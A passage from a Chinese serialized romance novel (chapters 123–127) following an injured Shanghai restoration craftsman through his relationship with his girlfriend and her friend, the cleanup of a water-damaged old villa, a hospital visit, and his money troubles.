不是生硬的按压,而是像揉面团似的,拇指顶着筋络慢慢碾开。 杨灵舒服得哼出半声,肩膀下意识往她手心塌。 顾南乔低着头,对她说: “你男朋友被我比下去耶!” “好像是诶。” 两双眼睛笑着打量过来,画面看得一阵恍惚。 陆师傅当然不服。 “灵灵,伸腿!” “好~” 地毯上,杨灵半躺着靠在顾南乔身上,陆砚在身前。 手掌覆在小腿,拇指沿着胫骨往脚踝推,力道忽轻忽重,指腹碾过肌肉时会轻轻打圈,像在抚摸一件易碎的瓷器,又像在跳一支细碎的圆舞曲。 “这里酸吗?” “可以轻一点。” 她很放松,慢慢阖上了眼,没有丝毫局促。 然而两人都不是专业的师傅,又哪里撑得到客人睡一觉呢。 顾南乔率先意图取得‘成果’,趴耳边,用‘魔镜魔镜,谁是世界上最美丽的女人’的口吻问: “灵灵,谁的表现比较好?” 陆砚也没意料到事情会发展到两人‘争风吃醋’的地步,不就是刚才没让着她嘛,远远称不上欺负,至于现在搞这么一出吗? 还卷服务?胡乱开头,以后天天让你按摩,看你如何应对! 心里好笑的同时,装作不经意的等待‘顾客’反馈——他女朋友,他还能输? “恩——,不同的好,我都很喜欢。” 评判者一碗水端得很平,但这绝不是个让人满意的答案。 尤其是陆师傅,立马就不服气了: “我去,渣女的路可走不得啊灵灵!” 顾南乔那小子,真能把墙角挖动了? 目光看向她,不想对方的眼神燃着高昂战意,似乎在说‘事情远没有结束’。 “灵灵我爱你!”搂着她的肩膀,问:“现在呢?是不是我好一些?” 表白话语一出,杨灵捂着嘴偷笑着。 眼看态度转变的千钧一发际,陆砚自然不能放任不管。 何况他对自己女朋友从不嘴软,也跟着表白。 “灵灵我比她更爱你!” 不待回应,顾南乔来劲了,趴下‘啧’的亲了一口。 这能忍? 陆砚也跟了...... 亲吻是人类表达喜爱的最佳方式,亦是她最为偏爱方式。 杨灵乐不可支的回吻,一碗水果然端得很平。 第一百二十三章 一个玩笑 指尖的温度落在颈侧,陆砚却像被烫到般绷紧了背。 尽管再三保证没有问题,她还是端着水盆走过来,发梢垂在耳边,带着淡淡的香气。 他勾着头,视线正落在胸前那圈白绷带——此刻倒像是条耻辱带,勒得他喘不过气。 就因为这挫伤,就因为她那份没说出口的包容,他不得不坐在这儿,任由对方替自己揉按头皮,指腹碾过发间的力道轻柔得像怕碰碎他。 这份好,太沉了。 她越不在意,他越觉得五脏六腑都被泡在愧疚里。 男人想把所有能给的都捧到她面前,想让她发脾气、让她指责,哪怕换来一句重话,也好过此刻这无措的煎熬。 水流从头顶漫下来,带着泡沫滑过耳廓。 顿了顿,宠溺说道: “好啦,灵灵,剩下的我自己来。” 他抢过毛巾往头上按,左手尽量伸展着动作,可水珠还是顺着脖颈往下淌,钻进衣领, 杨灵没说话,只是又轻轻接过毛巾,指尖擦过他下颌线时顿了顿。 陆砚便乖乖地又勾下腰,任由她替自己擦拭发梢。 这一举动让旁人看见,谁不称赞一句好女人呢? 拥有美貌、财富和智慧,还有颗爱你的心,简直是世上几乎要绝迹的理想对象—— 假使陆砚敢不知好歹、在此刻说杨灵一句不是,都要被天下人用唾沫星子淹死。 所以他闭上了嘴,愈发痛恨那根绷带。 恨它提醒着他的失败,更恨让他有了借口,心安理得地享受这份代价昂贵的温柔。 擦干以后,两人往客厅走,顾南乔早早躲进房间,将空间交由二人谈话。 要谈什么呢?答案不言而喻。 可思来想去找不到合适的表述。 “陆砚。” 杨灵把挽起的袖口放下,给自己倒水: “你今天也没去花店。” 微微抱怨的话让他一愣,原来这点小事也会被在意吗? “抱歉,明天补上......”过来,就着那杯水喝了一口,接着说: “老洋房的事,你是什么时候知道的?” “......你住院第二天,张师傅来送手机,告诉我的。” 哦,是说那天吃完晚饭,她要出去加班呢,原来如此。 手机上没消息,想必也是杨灵嘱咐了的,不然为什么给他办了一个星期的住院? 人美,钱多,还这样体贴——陆砚自嘲地勾了勾嘴角,男人矫情起来,是真够磨人的。或许那些让他辗转反侧的挫败,在杨灵眼里,本就没那么了不得。既然如此,何不大方接住这份好,往后用十成的真心去还? 念头转过这道弯,胸口的滞涩忽然散了。 他深吸一口气,抬眼时眼神已清明许多:“最后一次跟你郑重道歉。这份情,我记着,来日必定涌泉相报。” 顿了顿,直起身,语气沉了沉,“对了,你们那边后续怎么定的?洋房情况太糟,恐怕得停摆三个月。” 刚才那点自怨自艾像被风吹散的烟,此刻眼里只剩下该扛的事。 语气里的恳切,一半是歉意,一半是重新攒起的底气。 她果然如预期那样,小小项目根本不放心上,一笔带过之后,反而挑着鲜花那样、真正的小事揪着不放。 陆砚再三保证会补回来,才堪堪罢休。 ...... 第二天是被香味唤醒的,睁眼的时候被偷拍了照片。 然后她恶狠狠的说,‘以后早餐要帮我做’,放下糖心煎蛋和牛油果吐司便出门了。 幸福的味道散在空气里,陆砚想起了曾种在心里的感动——她帮忙洗脚的那天,自己下了决心,为其付出生命也无怨无悔。 额......真是一个说出去准会被人取笑的决心,蒙着脸的话,真有点初中生的中二味道了。 但当时就是这样感动,这样的勇敢。 带着好心情起床洗漱,然后立马给杨老头打电话,老人绝对醒得比他早。 “喂,师父!” “...” “老洋房,我全搞砸了,重新启动最早要年后,今天我打算去把排水做了。” “...” “好,好的。” 懵了。 他带着从二十六楼往下跳的觉悟拨通电话,却被老人三言两语搪塞过去,绝口不提合同违约事......就仿佛吃饭结账的时候,有人付过了似的。 喜悦来得太突然,恨不得真从二十六楼往下蹦,当个烟花给大伙庆祝一下! 餐盘里的吐司还冒着热气,陆砚脚步轻快地往餐厅走,老远就瞅见沙发上那团蓝白条纹—— 顾南乔穿着鲨鱼睡衣,脑袋快埋进膝盖里。 嘿,好兄弟我有好事分享! 藏着脚步、突然出现,用屁股撞了撞昏昏欲睡的她。 “脸要钻进去啦~” “陆砚!” “陆砚在此!” 她霍然起身,睡乱的刘海耷拉在额前,发现高挑的自己只到他的鼻子,衡量了一下二人差距,又坐下来,决定用智慧反击: “算了算了,看在你女朋友的份上,原谅你的无理吧。” 对面转为一脸回味的模样,男人坐高脚凳上,好奇配合道: “怎么?有话直说。” 她双手撑着下巴,慢慢悠悠扭过头,舔舔嘴唇,一字一字往外吐: “恩——,你女朋友,很、润。” “...” 陆砚看着她的眼睛,心里默默为这个笑话点了赞,可当视线看到那件鲨鱼睡衣的时候,心下一沉—— 美国文化、闺蜜、从小到大、长期单身...... 不可思议的灵感就此迸发。 再度猛地与她对视时,那双眼睛写着玩味、傲慢与......意犹未尽。 ‘嗡’的一声,陆砚只觉得脑子里炸开团火。 血液‘唰’地往头顶冲,胸口像被碾过,又闷又烫,指尖却瞬间冰凉,攥得餐盘边缘‘咯吱’作响。他甚至能听见自己磨牙的声音,喉咙里堵着团烧红的烙铁,吐不出一个字。 “喂!别别!我开玩笑的!” 顾南乔吓了一跳,猛地往后缩,声音都变了调,“我就是学网上的烂梗……” 陆砚死死盯着她,带着种近乎失控的压迫感。 顾南乔彻底慌了,手忙脚乱地举起三根手指: “我发誓!纯纯烂梗!” 他胸腔里的怒火还在烧,却被她这副惊弓之鸟的样子浇熄了半截。 指尖的力道松了松,餐盘‘哐当’落在台面,发出刺耳的响。 “开玩笑?” 原来有些玩笑真不能乱开,刚才他的眼神比挥着棒球棒的债主还凶恶。 “真的,真开玩笑的!我们比你家的瓷砖还清清白白!” 呼—— 呼—— 两大口新鲜空气灌入肺腑,不自觉的身上竟然一身热汗。 真是日了xxxx了,刚起床一身好心情被这xxxx的顾xxxx搅浑了! 然而顾南乔见势不妙,起身就跑。 陆砚见其要跑,起身就追,追到就是一顿拖鞋伺候。 ...... “张哥,老洋房你们到了吗?” 网约车上,陆砚抽空给张野打电话,昨天约好一起到地方集合,把后续收尾工作做完。 做完以后该结的款项......也要给他们结清。 现在不能开车属实不方便,想顺路去花店,又怕时候拖太久人家不愿意。 罢了,中午再去吧,顺便给灵灵送个午饭。 “马上到,除了老周应该都会来。” 张野拍了拍睡在床上的冯小军——他们是清清白白的——示意赶紧起床出发,不然要耽误事了。 然后不到五分钟,师徒二人奔走在出租房内搞完洗漱。 出门的时候甚至来不及照照镜子。 而冯小军也终于明白,张野的头发为什么看上去灰扑扑的了,水一抹就算洗头了,如洗! 第一百二十四章 真相 九点二十五,众人陆续赶到老洋房门口。 苏棠在一旁低着头,现在再也没有迟到的说法了。 一群人中,大概就搞彩绘的小赵相对轻松些,毕竟少儿培训班的兼职也能赚不少。 他扬了扬头发,说: “陆哥,怎么搞,花几天?” 陆砚闻言把视线从洋房收回,清寂的风顺着衣摆钻进来,擦过皮肤时带起一阵轻颤。 他们在外面,声音被吹得空落落的。 “要把洋房做成利于排湿的状态。小赵你和苏棠把积水处理掉,抽水设备苏棠带着去取; 张野和冯小军......去把水管补一补。明后天我们一起把地板和墙皮通风,给套了保护罩的再检查一遍,就......结束了。” 众人安静听完,谁也没动作。 或者说,谁也不想率先行动,成为‘最冷淡’的那个人。 见状陆砚只好催促道:“小苏,快点领着你赵哥出发,时间紧任务重别磨洋工!” 苏棠应下来,挎着肩包和小赵往外走。 那一边,师徒二人也准备行动的时候,陆砚叫住了冯小军: “手机拿到了吗?你张师傅不会把那茬忘了吧?” “......拿到了,陆哥。” 他一副罪孽深重的模样任谁看见了也不好受。 负面情绪会传导,不仅对话会变得干瘪,连做事效率也会骤然降到谷底,更不能和平时干劲满满的状态相比。 于是搂着他往旁边走: “中午我去找杨督查给你们开实习证明......年轻人嘛,现在经历的都是财富,不要悲观,大胆往前走。” “......谢谢。” 好吧,一个人的心境不是三言两语能力挽狂澜的。 他们在洋房外围铸铁主水管边停下,那里有个阀门—— 阀体呈圆柱形,顶部有圆形手轮,手轮上有旋转方向标识。 “小军,去拍拍看,管内积水排干净没。” 冯小军下意识就上前照做。 蹲下检查的时候,突然想起之前曾把总闸关了,此刻里面可不全是积水吗? 正要开口说话的时候,看到陆师傅蹲在旁边,说: “还好你当时没把阀门关掉,不然水管爆得更厉害。” 信息在脑子里转了个弯,当他反应过来时,冷汗刷的就淌下来。 半个身子躲在水管后面,侧头,眼睛死死盯着那个阀门。 它就像爆破开关一样矗在眼前,不对,开关已经被按过了——而此刻,精明的警察正蹲在绝对证据前,随时可能将他逮捕。 下一秒他的瞳孔放大,男人扭了扭,圆形手轮跟着转了半圈,管道内的闸板便发出轻微响动。 那响动像闷雷炸在胸膛,蹲在地上的膝盖几乎发软。 “恩,阀门还不算老化,以前的工艺......确实好。” 陆师傅把手轮扳了回去,唏嘘感叹后,看了过来。 “走吧,小军。” 发软的身体撑着站起,冯小军磕磕绊绊地说: “水闸,没关?” “是啊,没关上啊。我们现在要排水,肯定不关的。小军啊,物理、水压晓得吧?谁知道上了年纪的铸铁能承受多大压力,关了以后风险系数比较大......” 后面的话他一句没听清,脑子飘着凝重的云——谁帮我扳回去了? ...... 枫糖花店的老板娘心里嘀咕,莫非自己真看走了眼?好好一小伙子,难不成也是渣男? 没道理啊,根据面相分析,该玩的应该都玩过了呀! 她用软布擦拭玫瑰叶片,又将一束束康乃馨拿出来,检查茎部是否有腐烂,及时剪掉烂根,全然没有注意门口走来一人。 “老板娘,拿三支玫瑰给我。” 这才抬头看向外面—— 右肩佩戴的那圈三角巾绷带在深灰工装外套上格外显眼,他拧着塑料袋、侧着身,露出线条利落的下颌线。 胡茬刚刮过,青色的印子衬得那双眼睛更亮,像淬了冷光的黑曜石。 “唉哟小伙子,是说这几天怎么没来,你的手是怎么了!” 放下康乃馨,赶紧走到面前,心疼的目光上下打量着,就仿佛是自己的女婿受了伤一样。 两人简单寒暄之后,陆砚思虑了一会,用左手在卡片上歪歪扭扭写字: 世界没有好哄的女子,看起来好哄是因为她在哄你。所以,就这样让我漫无目的跟你说话吧,可能会有点笨拙,却是我全部的真心。 “好了,老板娘。” “好啦?小伙子明天还来吗?我专门给你留点糖果,现在女孩子都喜欢!” “来的,以后要常来的。” 陆砚没要她帮忙快递。 半晴天,今天要自己送过去。 ...... 下了出租车,到长宁路599号附近,看到长宁区文化和旅游局的牌匾后,给杨灵发消息。 她没有回,陆砚也不催,静静站在大门侧边的安保亭前,一如被修剪得整齐的绿植。 不时有人进出,提着文件袋,脚步匆匆;或三两成群,低声交流。 无不例外,神情端庄肃穆,无任何谈笑氛围。 他时常觉得机关单位的气氛过于古板凝重,或许是个人偏见吧。 “包工头,你还有脸追上门?” 瘦高男人亦从里面出来,面上如出一辙的肃穆,甚至更肃穆。 还不待说什么,他冷着眼咬牙切齿走过来: “打着绷带也要缠过来?真是瞧不起你这样的泥腿子。” 两人剑拔弩张站在保安亭,银亮的铁栏杆泛着刺眼的光。 陆砚用着和他一样的音量,尽量不引人注意回到: “瞧不起就滚一边去。” “我滚?我就站这里,倒要看看你怎么让我滚!自己没用就算了,还把杨灵毁了,现在大家都在笑话她,你知道吗?” “和你有关系吗?” “你这种帮不上忙只会阿谀讨好的男人,打着绷带,是过来装可怜的?” “和你,有关系吗?” “我原本还挺祝福你们的......呵呵,你站在保安亭还挺合适的。” “谢谢。” ...... 陆砚想在旁边开个钟点房,两人可以不被干扰地吃东西,可是杨灵拦下了,拉着去到旁边的公园,两人在一个凉亭下面吃着苏棠订的快餐。 “忘记买水了,等我会。” “不用的,你在旁边陪我。” 她今天化了淡妆,眼线只在眼尾轻轻挑了半寸,像沾了露水的蝶翅,睫毛忽闪时,眼下那颗小小的泪痣也跟着亮了亮。 明明出门时不施粉黛......这就是出来迟了会的原因? “这藕片好脆。” 声音软软的,像浸了温水。 她用筷子夹起一块,递到陆砚嘴边时,手腕轻轻转了个弯,生怕酱汁落到他身上。 “啊——,小嘴巴,快张口!” 杨灵轻声哄着,像喂小猫似的。 阳光透过亭柱的缝隙落到她侧脸,陆砚张嘴咬住藕片,牙齿碰到筷子的瞬间,喉结突然发紧。脆生生的甜里混着点醋酸,可尝着尝着,舌尖就泛起苦味。 我怎么配让她这样喂? 这个念头像根刺,猝不及防扎进太阳穴。 “灵灵,上班累吗?要不要这周找个时间,我们出去玩。” 声音出口才发现有点哑,像被什么磨过。 于是马上挤出笑容,让自己看起来轻松一些。 她应该没察觉声音里的发紧,又夹了块排骨往嘴边送: “好好吃饭啦,来,啊——” 第一百二十五章 生活的底色 拿着杨灵给的盒装奶,面色如常回到老洋房,接着下午的工作。 今天众人没有午休,因为大厅没有落脚的地方。 刚回来,苏棠的声音便撞了上来: “陆师傅,猜猜我发现了什么?” 小姑娘捏着拳头,把手伸到面前,让他猜。 “发现自己是老鼠屎?” “......不是......的,是爱心。” 她把拳头张开,食指和拇指交错,比了一个‘心’。 白嫩的笑脸漾着笑,笑虽勉强,却纯洁美好。 美好到,陆砚不知道如何应对这样的画面。 “不是吧陆师傅!这都拿不下你?那只好使出必杀技了!” 她把手彻底摊开,两颗亮晶纸包装的糖果赫然在列。 一闪一闪的色彩如此耀眼,眼睛被刺得发酸。 “小苏,说出你的目的,那样我才安心。” 老师傅调整得迅速,堪称完美的接住了话茬。 “嗯......我的实习证明盖章了吗?” “盖了,要看看给你写的评语吗?” 他把那张属于苏棠的证明递过去,小姑娘喜笑颜开地拿在手里端详,可下一秒就嫌弃叫喊道: “不是吧不是吧,陆叔叔您这小学生字迹是认真的吗?写上去很丢人诶!下面那段是杨老师写的吗?啧啧,没有对比就没有伤害。” 嗓音依然活力,闹得人心里慰烫。 陆砚却听进去了,悲伤地想着,要是手没伤,一定漂漂亮亮给她写下最好、最好的评价。 为什么明明字迹不错,却不能在该发挥的时候表现得好点呢? 为什么总在重要的时刻掉链子呢? 生活竟是如此爱捉弄...... 轻轻咳嗽一声,带着歉意说:“作为补偿,明天给你包个大红包。” “不用啦,以后多照顾我家生意就好。” ...... 又少了一次机会和众人挥手告别,方才打招呼挂在脸上的笑容顿时收得彻底,心和渐沉的夕阳一起跌落谷底。 拍了拍停在前院的皮卡车,独自向外走。 光泽从门口古铜色铭牌上褪去,三个街区外,推土机的轰鸣声早已不见踪迹。 边拦着车,边想着以前项目的尾款,然后打了张老赖的电话——无人接听。 上车的时候,他开始思考一个严峻的问题: 投标高峰期就要过了,假使最快接到项目,也得开年再动工。 接下来怎么办?距离过年还两个月时间,房贷和生活可还在继续! 车在路口红灯前刹住,窗外,骑电动车的外卖员在车流里钻,店员搬着纸箱,穿西装的男人夹着公文包小跑。 这些忙碌的身影一闪而过,每个人都像被上了发条的钟,朝着各自的方向狂奔...... 为什么只有自己停了下来? 出租车再次启动,又驶过了长宁路,他仿佛看见瘦高男人的轻蔑神态,今天那些话语化作一只只带弯钩的箭矢,刺进心里,死活拔不下来。 “叮——” @Adeline:(语音)陆砚你晚上想吃什么?我下班的时候带回来。 他把这段语音反复听了好几遍,却完全想不出吃什么菜。 顿了顿,点了两个对方爱吃、且方便买的,回过去。 如此一来,便不太像‘吃软饭’了。 外来车辆不被允许进入,出租车缓缓停到小区门口。 付完款下车,穿过金碧辉煌的入户大堂,突然看见刻满浮雕的门柱上贴着招聘信息—— ‘诚招形象保安,底薪8000起,各种补贴应有尽有,意者添加联系方式面试’。 哇,真是瞌睡来了送枕头,偏偏自己这种泥腿子还真动了心! 要是凭借杨灵业主的身份,应该很好入职吧,哈哈! ...... 座位刚空出一个角,穿格子衫的男人和拎着菜的女人几乎同时扑过去。 男人用胳膊肘顶开半尺空隙,一屁股下沉,女人‘啧’了一声,转身把塑料袋往脚边一放,终究没再争。 刚坐下,男人已经闭上眼,眉头皱成个疙瘩,仿佛坐着比站着更累。 膝盖张得很开,占去旁边姑娘大半个座位的空间,帆布包抱在怀里,她往旁边挪了挪。 晚高峰的上海地铁是最接近这个城市底色的地方,装扮精致的都市丽人、活泼雀跃的女学生、帅气的小伙子,统统可以被四个字概括—— 无人在意。 没有人在意你的性别,没有人在意你的家世,我很累,位置是我的——如此麻木。 ......不对,也有例外。 冯小军下班又被张野走领着走了。 两人也上了地铁,在挤成沙丁鱼罐头的空间内,周围人却自发留出了一片真空地带,地带中,赫然站着师徒二人。 他们并没有穿着劳保鞋,脸上的灰也被清水洗净,只是后颈带着点汗,头发不那么整洁罢了。 可众人像能准确识别出他们的工作来历,经过一系列价值评判后,贴上了最轻蔑的标签。 耻辱,深深的耻辱在这一刻浮现。 相比于冯小军垂着头、回避的目光,张野显得自然多了。 挺着肚子,刷短视频,外放声音融入相对安静的车厢,行为举止完全符合人们刻板印象中的人设。 地铁驶过一站站路,人群随着一站站路上下、来回、聚散。 ‘顾村公园到了,请到站的乘客注意下车’。 张野推了推冯小军,两人先后往下走。 注意到后面的大学生下意识与自己保持着距离,他无所谓地笑笑,口里哼着歌。 反正待会要喝酒,喝完酒,大伙都一样! ...... 想喝酒。 坐在阔落的落地窗前,空虚的灵魂极度渴望酒精的救济。 他无法想象杨灵一个人在家的时候,该如何面对这里的一切—— 白绒地毯,大理石地面,长长的用餐台面、放着水晶醒酒器和骨瓷餐盘。 或许此地大喊一声能产生回音。 顾南乔一定不知道,此刻有个人多么想见到她。 陆砚再次打电话,无人接听。 没开灯、放任夜幕降临的空间,手机亮光如此刺眼。 这一刻,他理解了智能家居系统的作用——帮忙开灯。 莫不小觑了这件事,它的出现可以让你的话语有着落,就如同有人陪在身边。 “灵灵机器人!请开灯!” “咔哒!” 门被推开,杨灵回来了。 她的出现不亚于黑暗中的第一道光,陆砚一个箭步冲上去,顾不得肩上酸胀,紧紧抱住。 透过衣料能感知她的体温,把脸埋进颈窝时,闻到了熟悉幽香混着奶香。 胸腔贴着,透过对方的柔软能感知自己心脏的跳动,它像台重启的发动机,一下下撞开他堵在喉咙里的慌。 ...... 良久,两人唇齿分开,思念暂时退却。 接过她手里的塑料袋——牛肉、虾、西蓝花和相应配料,主菜全是自己爱吃的。 “喂喂,什么时候我们口味变得如此一致了?” 调笑道,悄悄咽下感动。 却不想对方一本正经地说: “一次持续 10秒的亲吻大约会造成8000万口腔细菌的‘迁徙’,而长期的菌群交换之后,两人的生活习性和面貌会出现不同程度的相似......恩——,口味先有了夫妻相吧。” 夫妻相......吗? 眼前女人一如初见时那样美丽: 眼尾天然带着三分下垂的无辜,睫毛又密又翘。有江南美人的温婉,还有古典美人的端庄...... 以后,会和她缔结婚姻吗? 如果对方不嫌弃自己出生卑微、能力有限的话,如果不会让杨灵再度遭受拖累的话...... 他应该会满含热泪地向她求婚,甚至,仅仅想到妻子是她,就已经抑制不住的想流泪了。 呼—— 玛德,别那么矫情了,陆砚。 立足当下,把自己充实起来,就像以前一样,心无旁骛的把事情做好,才是真正实现那天的基础! “对了,顾乔乔电话打不通,也不知道什么情况......” 她脸上的霞色尚未褪去,两人一起往里走: “昨天顾叔叔打过电话,说要我帮忙照顾乔乔......现在她可能......在处理家事吧。” 陆砚心中泛起涟漪,处理家事是什么意思? 顾南乔的父亲打电话......出事了? 影视剧中,一幕幕破碎的画面纷纷涌现,结合昨天债主堵上门和她后备箱上的棒球棒痕迹...... 杨灵正在餐台分拣菜品,专注的眼神仿佛凝聚着工匠精神。 陆砚顿了顿说:“灵灵,要不......你还是给她父亲打个电话问问,确认一下情况......当然,我只是作为朋友关心一下。” 她抬起头,暖黄灯光打在脸上,睫毛投下小片阴影: “不用解释的,我很相信你。” 第一百二十六章 轻松相处的人 陆砚套好三角巾绷带,在一旁帮忙冲牛奶,她则在中岛台做两人的早餐。 米白色的棉麻家居服松松垮垮地挂着,领口滑到一侧,露出半截圆润的肩头。 还是糖心蛋和牛油果吐司。 将两个餐盘端到餐台时,衣服下摆露出腰线柔和的弧。 她的腰很细,像被春天的风轻轻勒过,臀部带着点恰到好处的丰盈,让宽松的家居服在身后坠出自然的褶皱。 “吃腻了的话可以换燕麦酸奶,燕麦酸奶再腻了,你的肩膀肯定好了,到时候就该我考虑吃什么早餐了。” 晨光落在后颈,狡黠的笑容出现在杨灵脸上。 “那我要是一直吃不腻呢?” “恩——,想吃的话,我可以教你怎么煎蛋。” 本以为找到bug的他,当然会同意女友的提议。 倘若可以一直为对方做早餐的话,那不就过上梦寐以求的生活了吗? 吃完简单收拾之后,她过来帮忙穿外套—— 陆砚的右手尽量自然下垂,杨灵则协助将袖子从指尖拉至肩部,过程中避免抬臂或耸肩。 肿胀一天比一天好了。 所以杨灵提议他穿宽松的衣服去老洋房时,还是果断选择了工装。 于手艺人而言,工装就如同干部们的行政夹克,是不可脱卸的服饰。 ...... 当初在窗户上加固的护框被一块块拆下,最容易被攻破的地方在绑固和楔固完美发挥下,被守得滴水不漏。 冯小军肿着宿醉的眼眶拆绳子的时候,完全可以感知这一个个绳结,当初绑的时候有多认真。 甚至从这种认真中,可以察觉一份心情—— 少一份力怕不牢固,多一份力怕伤着木头,于是老师傅们用了最大的心思,仔细斟酌每一个段绳子、每一块楔木。 既然冯小军能察觉到,那场上多数人都会有类似心理,只是秘而不宣,化感想为动力落实行动上罢了。 整个上午,清理地毯,挪动家具,打开了所有门窗通风。 接上移动电源的工业除湿机陆续在各个房间轰鸣,仿佛一场盛大的谢幕,送别着老洋房和众人。 然而不遂意的是,收尾工程起码得明天才做得完。 陈禹发来消息,说老金住院了,不是什么大病情,但老人状态就是不好。 陆砚交代了下午的安排后,便打车前往医院。 他有预感,或许老金不是生病,而是累了。 ...... 隔很远,消毒水的味就钻进鼻腔。 踏入千篇一律的住院部时,手臂上的绷带才终于应景。 电梯上了七楼,左拐右拐来到房前,提着礼盒的手敲了敲门——没等到应答。 推门进去,他看到白被单裹着的人,缩成一小团。 若不是那双指节粗大的手,和虎口处结着层厚厚的老茧,几乎认不出这是那个能扛着二十块青砖健步如飞的老人。 老金睁着眼,待看清来者是谁以后,再没有往日那样说‘哟,陆总’,或者‘不好意思认错了,我还以为是那狼崽子呢’。 “来了啊。” 他声音像从枕头里钻出来的。 陆砚把东西放下,试图激活自己的生命力,来带动气氛: “老师傅手艺就是没话讲,我一看到货的时候就知道,这笔生意又赚了。不过品相好是品相好,尾款我已经打过去了,可不准事后加价昂!” 他‘哼’了声,偏过头看向窗外,后脑勺的白发在灯光下泛着银光: “瞎扯。” 以为对方乐意听,便接着吹捧: “咱虽然资历没你高,但品质好赖还是瞧得出的,好就是好,没道理把好的说成坏的,对是——” “杨老鬼昨儿来过了,房子什么情况我清楚。” 话头戛然而止,遮羞布被撕开,陆砚强行挤出来的生命力也就此烟消云散。 此时,两人一个望向窗外,一个盯着地面,就差一场落在头顶的雨,来渲染整间屋子的低落。 人情是把双刃剑。 他曾因为人情,拿到了超低价的订单,现在也因为人情牵累,在自己事业受挫的时候,仍要为不能使用老金辛辛苦苦烧制的青砖,而愧疚。 尤其看到往日爱较劲的老人丢了那股子劲以后,心中就只有一个想法——逃离。 “陆小子。” “您说。” “人活一世,不需要想那么多道理......日子是没谱的,你走吧。” 陆砚点点头,走的时候,那只曾攥了一辈子瓦刀的手,此刻虚虚搭在被单上,指缝里还嵌着点洗不净的砖灰。 ...... 逃出消毒水笼罩的建筑后,一口气给两个欠款老板打了数个电话,不接就打他们家人朋友的电话。 陆砚有点崩溃,再不顾忌任何体面,只想要到钱。 手指重拨着那几个号码,像困在蛛网上的飞蛾反复冲撞着粘腻的网丝—— 每一次拨号都是在抖落翅膀上的愤怒与委屈,明知冲不破这张网,却只能用这徒劳的扑腾,证明自己还没被绝望彻底吞掉。 古建师傅的电话拨出去,听筒里传来的客气疏离像层薄冰,敲不出半点实际的回响。 他忽然明白,自己,说出来的话轻得像投入湖面的石子,连涟漪都泛不起半圈,更别提能给别人带来什么利润与好处了。 这认知像根刺,扎得后颈发僵。 曾几何时,项目竞标他从不含糊,合同签得顺风顺水,那时以为是方案够硬、眼光够准,直到此刻才肯承认: 当年那份十拿九稳的底气,不过是因为背后站着杨老头。 他踩着这棵大树,误以为自己早已长成了可以遮风挡雨的模样。 可混了几年,不带着那座靠山,他才看清自己的底色。 所谓事业,所谓的打拼,剥去那些依附的光环,竟单薄得可笑。 这些年他确实沉下心学了手艺,可这手艺在‘事业’的天平上,竟轻得不如一张印着头衔的名片。 那些开公司、做投资的人,聊的是资源整合、行业布局。 他呢? 最多被人客气地称为‘陆师傅’,听起来和工地上砌墙抹灰的师傅没什么两样。 难道这些年的努力,就只够混个手艺师傅的名头? 他想起文保局门口,被人反复称作包工头时的窘迫—— 或许他以为自己在做‘事业’,到头来,在别人眼里或许只是个稍微懂点技术的民工。 大概这个社会的地位,从不是靠手艺的精细程度衡量的,而是看你能站在哪个高度,拥有多少话语权...... 踢开脚边石子,翻动好友列表,首先想到的是杨灵,这个承载了他全部情意的可爱女人。 但......根本不知道现在对方有多忙......偏偏她还不说。 她不说,便是在维护着自己。 想到此处,感动像温水漫过心口,又很快被更沉的东西压下去。 自责,钩带起那种被人小心翼翼托着尊严的难堪。 她越是替他周全,便越觉得自己像个被剥光了铠甲的逃兵,连最后一点体面都是借来的。 夜深人静的时候,陆砚宁愿她骂,埋怨,哪怕讨价还价那样,把他的错处一条条列出来,算清楚该赔多少时间、多少愧疚,该用什么方式偿还。 至少那样,他能站在一个对等的位置上,不是她护着的、摇摇欲坠的影子,而是一个能承担代价的人...... 其次想到的是陈禹,毕竟今天才联系过,每次这种时候也都是喊的他。 可最后鬼使神差给顾南乔发了消息。 墨斗先生:你还好吗? 大概是担心她再度遭受打击吧,毕竟周围过得比他惨的,就这一个了...... 一想到她,心情竟然平复了几分。 甚至,假如说跟她在一起,陆砚甚至觉得,自己会放松到、有余力去安慰她。 正想着,‘顾律师’的电话打来了。 “喂,顾乔乔,你在做什么呢?” 对面离话筒比较远,声音小小的: “见一面吧,在......你女朋友家。” “好呀,不过你先等等,我去老洋房看一圈了就提前回来。” 挂断电话后,一个人的孤独被消解了不少,在马路边张望着车辆,心已经飞到了另一边。 第一百二十七章 如何交心 从医院到老洋房,又杨灵这,包含等车的时间,挂断电话八十分钟左右陆砚便赶了回来,不可谓不快。 玄关的感应灯亮起时,先闻到了酒气。 走到近前,顾南乔蜷在客厅地毯上,水晶吊灯的光落下来,在她脸上碎成一片白。 手里握着红酒瓶,头歪在沙发扶手上,睫毛沾着水光,不知是酒还是泪。 陆砚站在原地没动,心口像被什么东西攥住了。 这栋大平层空旷得能听见自己的呼吸,可她一个人缩在那里,却把整个屋子的悲伤都兜了起来,沉甸甸的,压得人喘不过气。 此时的沉重并非出了医院那会的沉重,他在对方的悲伤中,找到了自己所渴望的,生活的另一状态。 过去,在旁边坐下。最近总这样,哪怕她一句话不说,只要两人能待在身边,空气里的紧绷感就会松快些。 “唔......” 顾南乔忽然打了个激灵,像被烫到似的往旁边挪,后背抵着沙发腿,指尖抠进了地毯的绒毛里。 “怎么了?”陆砚的声音放轻了些,看着她紧绷的侧脸,心里莫名一紧。 她没回答,只是盯着他的眼睛看了几秒,那几秒里,有挣扎,有怀疑,还有一闪而过的恐惧。突然,她抄起地上的酒瓶,另一只手猛地揪住他的衣领,力道大得几乎要把他拽得前倾。 “陆砚,”声音又哑又急促,带着没压住的颤抖,“我这辈子只问一次——你,你有没有和灵灵做对不起我的事?” 那是顾南乔身上从未有过的凶狠,像被逼到悬崖边的小兽,眼神里翻涌的绝望几乎要漫出来,可眼底深处,又藏着一丝连她自己都没察觉的乞求。 这点乞求无意是致命的,如果遇上精明的猎手,此时只需要付出一个怀抱,她就能献上所有。 陆砚看着她,心里那点翻涌的怜惜沉了沉。 没急着回答,喉结动了动,吸一口气,声音冷静得近乎克制: “有。但做过的那些,你都知道,也都原谅了。” 她深深看着,眼睛一眨不眨,像要透过他看到很远的地方。 下一秒,膝盖磕在地毯上,闷响一声,她就那么跪了下去,声音彻底垮了,带着浓重的哭腔,手却抓得更紧,指节都泛了白。 “别骗我......求你了,求你了......” 眼泪顺着脸颊往下淌,砸在他手背上,烫得像火,“不然我会恨死你的......” 空气里的酒气变得滞重,陆砚指尖微颤,想说点什么,最终只是任由她揪着衣领,没动。 片刻,他伸出左手,帮忙细细擦拭,说: “骗人的人,这辈子娶不到老婆。” 